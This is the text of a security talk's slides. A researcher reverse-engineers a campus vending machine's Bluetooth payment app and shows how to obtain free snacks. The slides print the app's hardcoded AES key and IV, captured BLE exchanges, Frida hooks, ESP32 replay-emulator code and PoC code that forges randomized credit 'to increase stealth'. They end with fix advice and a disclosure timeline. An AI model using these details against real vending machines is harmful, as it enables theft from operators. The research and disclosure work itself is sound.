

DIGGING INSIDE VENDING MACHINE'S

 **BLUETOOTH[®]** 

For fun and snacks!

SUMMARY



 **CONTEXT**
Why?

 **ANALYZE**
How?

 **PROTOCOL**
How it works?

 **VULNERABILITIES**
Free snacks?

WHO AM I



Consultant @Adacis
BugHunter / Security Researcher
CTF Player @LesPiresHat




CONTEXT

Vending machine on my campus
We can pay with an application or by credit card
I'm curious to understand how it works and maybe
find a vulnerability?

Let's explore!




BYPASS HISTORY



Race condition with buttons

Change balance on NFC badge





NOW ?



HOW THE APP WORKS?

1. Install the application
2. Add credit
3. Connect to a vending machine
4. Choose an item from the vending machine
5. Subtract item price from application balance / credit
6. Collect item


No internet required when buying! Confirmed by completing the steps in airplane mode



Payment method



Security



Payment by phone

Quick and secure transactions without involving banks or third parties.


No connections, no problems

- *No need for telephone coverage*
- *No need for dedicated infrastructure: the system is on the cloud*
- *No change of supply refilling or data audit procedures is required, fast integration with your existing Operation*
- *App available for Android or iOS*
- *Compatible with Coges Engine, Unica coin mechanism and E.C.S. Air cashless payment systems*






ANDROID APPLICATION ANALYSIS



STATIC

JADX



DYNAMIC

Frida

FRIDA

FIRST LOOK

CODE QUALITY

Readable code, can be better but not too bad
Some obfuscation for the functions names
Rewrite existing functions??

```
public final byte[] decodeHex(String hexString) {  
    if (hexString != null && hexString.length() != 0) {  
        byte[] byteString = new byte[hexString.length() / 2];  
        for (int index = 0; index < hexString.length(); index += 2) {  
            byteString[index / 2] = (byte) ((Character.digit(hexString.charAt(index), 16) << 4) + Character.digit(hexString.charAt(index + 1), 16));  
        }  
        return byteString;  
    }  
    return null;  
}
```

decodeHex rewrite

THE CODE

```
while (retryNumber < 3) {  
    if (retryNumber != 0) {  
        try {  
            logcatDebug("retry!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!" + retryNumber);  
        } catch (IOException e2) {  
            e = e2;  
            logcatDebug("InvioRicez " + e.getMessage());  
            lo();  
            return BLEResponse;  
        }  
    }  
    if (isMessageEncrypted.booleanValue()) {  
        logcatDebug("c" + stepIndex + "-r" + retryNumber + "Chiaro --> " + bleMessage);  
        if (bleMessage.length() == 3) {  
            aesCipherText = this.aesUtils.AESCBCEncryptCustomPadding(bleMessage.substring(i3, 2), saltPwdAuth, saltIdCoges, stepIndex.intValue()) + "|";  
        } else {  
            aesCipherText = this.aesUtils.AESCBCEncryptCustomPadding(bleMessage.substring(i3, bleMessage.length() - 3), saltPwdAuth, saltIdCoges, stepIndex.intValue()) +  
        }  
    } else {  
        aesCipherText = bleMessage;  
    }  
    writeToBLESocket(aesCipherText);
```

Here's what part of the code looks like

HOW IT WORKS

UI

Standard user
interaction

LOCAL DATABASE

Current credit,
Payment

BLUETOOTH STACK

Speak with the
vending
machine

ATTACK HISTORY

In 2018, Matteo Pisani an italian hacker managed to exploit the same kind of application by modifying the internal database where the credit is stored.

How I hacked modern Vending Machines


by Matteo P. • 3 min read • October 10th, 2018



<https://hackernoon.com/how-i-hacked-modern-vending-machines-43f4ae8decec>

DATABASE


Why not just restore balance?
Easiest way!
But we get a corrupted data :(



BLUETOOTH

SERVICE & CHARACTERISTICS

No choice, I need to dig in BLE exchanges



BLUETOOTH

MACHINE NAME

Example: 92235392B04

```
export const MACHINES_TYPES = {  
  A: "☕ Hot",  
  B: "💧 Cold",  
  C: "🍕 Snack",  
  D: "🍷 Mixed"  
};
```

BLUETOOTH

EXCHANGES

AES-CBC - NoPadding
Key & IV Hardcoded
IV later derived

```
public static String hexIV = "495B4902CEA822DCE290D13784A6B9BB";  
public static String hexKey = "1AA98A48CA1A34213A697C8A895A532F";  
  
public byte[] AESiv = decodeHex(hexIV);  
public byte[] AESKey = decodeHex(hexKey);
```

BLUETOOTH

**FINE, BUT WHERE
IS THE
BLUETOOTH
LOGIC??**



FIRST ERROR

Function was too big
(~995 lines)

Me after using
'--comments-level debug
--show-bad-code'
options



WIRESHARK

Dump to understand
exchanges via
BTSnoop

```
[2024-02-08 11:20:59.919085] Galaxy S10+: FBF9F4|
[2024-02-08 11:21:00.034205] LCOG-92235369C02: 00|FB01000801060706050107010008000304070541|
[2024-02-08 11:21:32.381888] Galaxy S10+: 04|FBF9F4|
[2024-02-08 11:21:32.560431] LCOG-92235386A04: 00|FB0000020300000300000006080000080400001D|
[2024-02-08 11:21:44.701665] Galaxy S10+: 04|FBF9F4|
[2024-02-08 11:21:44.937349] LCOG-92235386A04: 00|FB0000020300000300000006080000080400001D|
[2024-02-08 11:23:06.021424] Galaxy S10+: 04|FBF9F4|
[2024-02-08 11:23:06.148343] LCOG-92235411A02: 00|FB00000309000003000000000800000300000015|
[2024-02-08 11:23:11.383928] Galaxy S10+: 04|FBF9F4|
[2024-02-08 11:23:11.530972] LCOG-92235378A03: 00|FB00000205000007060000090000000702000021|
[2024-02-08 11:23:14.316245] Galaxy S10+: 04|07|FBF9F4|
[2024-02-08 11:23:14.432917] LCOG-92235377C01: 00|FB01000800060709080107050808000406070555|
[2024-02-08 11:23:26.546685] Galaxy S10+: 04|FAF9F3|
[2024-02-08 11:23:26.667974] LCOG-92235411A02: 00|1780BC5387E34AC77F9D84CFF69A59C4E89FC4|
[2024-02-08 11:23:26.789850] Galaxy S10+: 80B38075473E631107CD53B97025446DC697C22F9170FBCB25EE75339A6C8EF341DF|
[2024-02-08 11:23:26.908893] LCOG-92235411A02: 00|1781E7E08089DA3245A29916E18FC421542EF2B0DF131274F6BE0FDF807DFB06C0DA4|
[2024-02-08 11:23:26.985244] Galaxy S10+: 00|
[2024-02-08 11:23:27.101689] LCOG-92235411A02: F86AE6FC4368528C4CCD78D867792C8A327CEFD7D0BA5CEC475EDFEEF512B729B0|
```


FRIDA


HOOK ALL FUNCTIONS

The goal is to
understand the
messages

```
// Derived IV with client and remote challenge
AESUtils["c"].overload("java.lang.String", "java.lang.String", "int").implementation = function(clientChallenge,
remoteChallenge, i) {
  console.log(`DerivedAESIV is called (With challenges): clientChallenge=${clientChallenge} remoteChallenge=${
remoteChallenge} i=${i}`);
  let result = this["c"](clientChallenge, remoteChallenge, i);
  console.log(`DerivedAESIV result=${result}`);
  return result;
};

// Check if the server have the good client challenge
AESUtils["d"].overload("java.lang.String", "java.lang.String").implementation = function(serverClientChallenge,
clientChallenge) {
  console.log(`Check if the server have the good client challenge is called: serverClientChallenge=${
serverClientChallenge} clientChallenge=${clientChallenge}`);
  let result = this["d"](serverClientChallenge, clientChallenge);
  console.log(`Check if the server have the good client challenge result=${result}`);
  return result;
};
```


MESSAGE STRUCTURE



VENDOR INFORMATIONS


RECOVERING THE ELEMENTS NEEDED TO DERIVE THE IV

vendorId
vendorPwd



AUTHENTICATION SEQUENCE


**THE CLIENT
RETRIEVES THE
SERVER'S
CHALLENGE**



AUTHENTICATION

**THE SERVER
RETRIEVES THE
CLIENT'S
CHALLENGE**


Client checks the
challenge



VERIFY

**THE CLIENT
CHECKS THAT
EVERYTHING IS OK**


If the server returns its
challenge, back to the
beginning




COMMAND

**THE SERVER
RETURNS WHAT
IT EXPECTS FROM
THE CLIENT**

There are 3 types of
command





BUILDING AN EMULATOR

OPTION 1

Lazy, use an ESP32 and repeat messages of a real exchanges.

OPTION 2

Studious, use an ESP32 and rewrite a full vending machine in C++

OPTION 3

Rent a vending machine

EMULATOR


THE GOOD OLD ELSE IF

Option 1, Lazy :)


```
else if (!strncmp(currentMessage.c_str(), "FAF9F3|", 7)) {  
    (void)Serial.printf("[SEND] %s\n", "00|1780DFFAE1B54EE58A6479A31A9182498DF73D|");  
    this->sendMessage("00|1780DFFAE1B54EE58A6479A31A9182498DF73D|");  
}  
else if (!strncmp(currentMessage.c_str(), "80E7ACBA6E78F678D94540966DCE2677007BA4AD9CC432B22660701", 33)) {  
    (void)Serial.printf("[SEND] %s\n", "00|1781E5C0D28C0640A41A1163C13FFFB1721150C91A9D6F24DF2AECFCC71DA72C77955D|");  
    this->sendMessage("00|1781E5C0D28C0640A41A1163C13FFFB1721150C91A9D6F24DF2AECFCC71DA72C77955D|");  
}  
else if (!strncmp(currentMessage.c_str(), "00|", 3)) {  
    (void)Serial.printf("[SEND] %s\n", "D325BE4F116F4A84C6D7ADFDF3C7659C73C22B1B17D9BD0392EC7E9527C410437C|");  
    this->sendMessage("D325BE4F116F4A84C6D7ADFDF3C7659C73C22B1B17D9BD0392EC7E9527C410437C|");  
}  
else if (!strncmp(currentMessage.c_str(), "DB653CC0B028BB04B82382860F0ED987|", 33)) {  
    (void)Serial.printf("[SEND] %s\n", "22635BE79F469D554E47765D7523C6B012|");  
    this->sendMessage("22635BE79F469D554E47765D7523C6B012|");  
}
```


SECOND ERROR


DEFAULT BLUETOOTH MTU SIZE 23 BYTES



NOW



EMULATOR



MOBILE APPLICATION



MOBILE APPLICATION

CROSS-PLATFORM

ReactNative w/Expo

+ Coding time

+ Live update

- Build time



Aether Aujourd'hui à 19:46

Bien évidemment, déjà le premier PoC je le sens bien

THIRD ERROR - MTU

**ONLY VERIFY
20BYTES**


23bytes:
- 3 headers
- 20 data




Aether Aujourd'hui à 17:17

Spoiler: le PoC était pas prêt

NOW




BLUETOOTH EXCHANGES




POC WITH EMULATOR





FREE SNACKS TIME !





Tap on a device to connect

LCOG-92235382C05

LCOG-92235369C02

LCOG-92235394A01

LCOG-92235386A04

STEALTH

```
generateRandomCredit: () => {  
  // TEST ONLY  
  //return "000001F4";  
  /* Generate random credit between 15e and 5e. */  
  var credit = Math.floor(Math.random() * (MAX_CREDIT - MIN_CREDIT + 1) + MIN_CREDIT);  
  // Round, increase stealth  
  return (credit - (credit % ROUND_CREDIT)).toString(16).padStart(8, "0").toUpperCase();  
},
```

```
generateRandomIMEI(currentUserCredit: string) {  
  // TEST ONLY  
  //return currentUserCredit.concat("0000DA11FC0CFD0A5E7F");  
  return currentUserCredit.concat(this.generateRandomString(20));  
  //return "00".concat(this.generateRandomString(24));  
}
```

```
generateRandomString(count: number) {  
  // Don't know why but the crypto module doesn't work  
  let hexdigits = "0123456789ABCDEF"  
  let str = ""  
  for(let i = 0; i < count; i++){  
    str += hexdigits[Math.floor(Math.random() * 16)];  
  }  
  return str;  
}
```



HOW TO FIX ?

- ⚙ **ALWAYS DO YOUR CHECK ON A TRUSTED DEVICE (SERVER)**
 - ⚙ **USE CLIENT MOBILE ONLY TO SEND DATA, NO PROCESSING!**
- 

TIMELINE



THANKS TO



🔍 **150K - AD**

Being this weird guy executing my weird Frida scripts in front of a vending machine with a computer. ❤️

🔍 **LUMINOUE - JULIEN / LAURENT**

Proofreading. 😎

🔍 **ANTOINE**

Android tablet. 🤖

THANK YOU

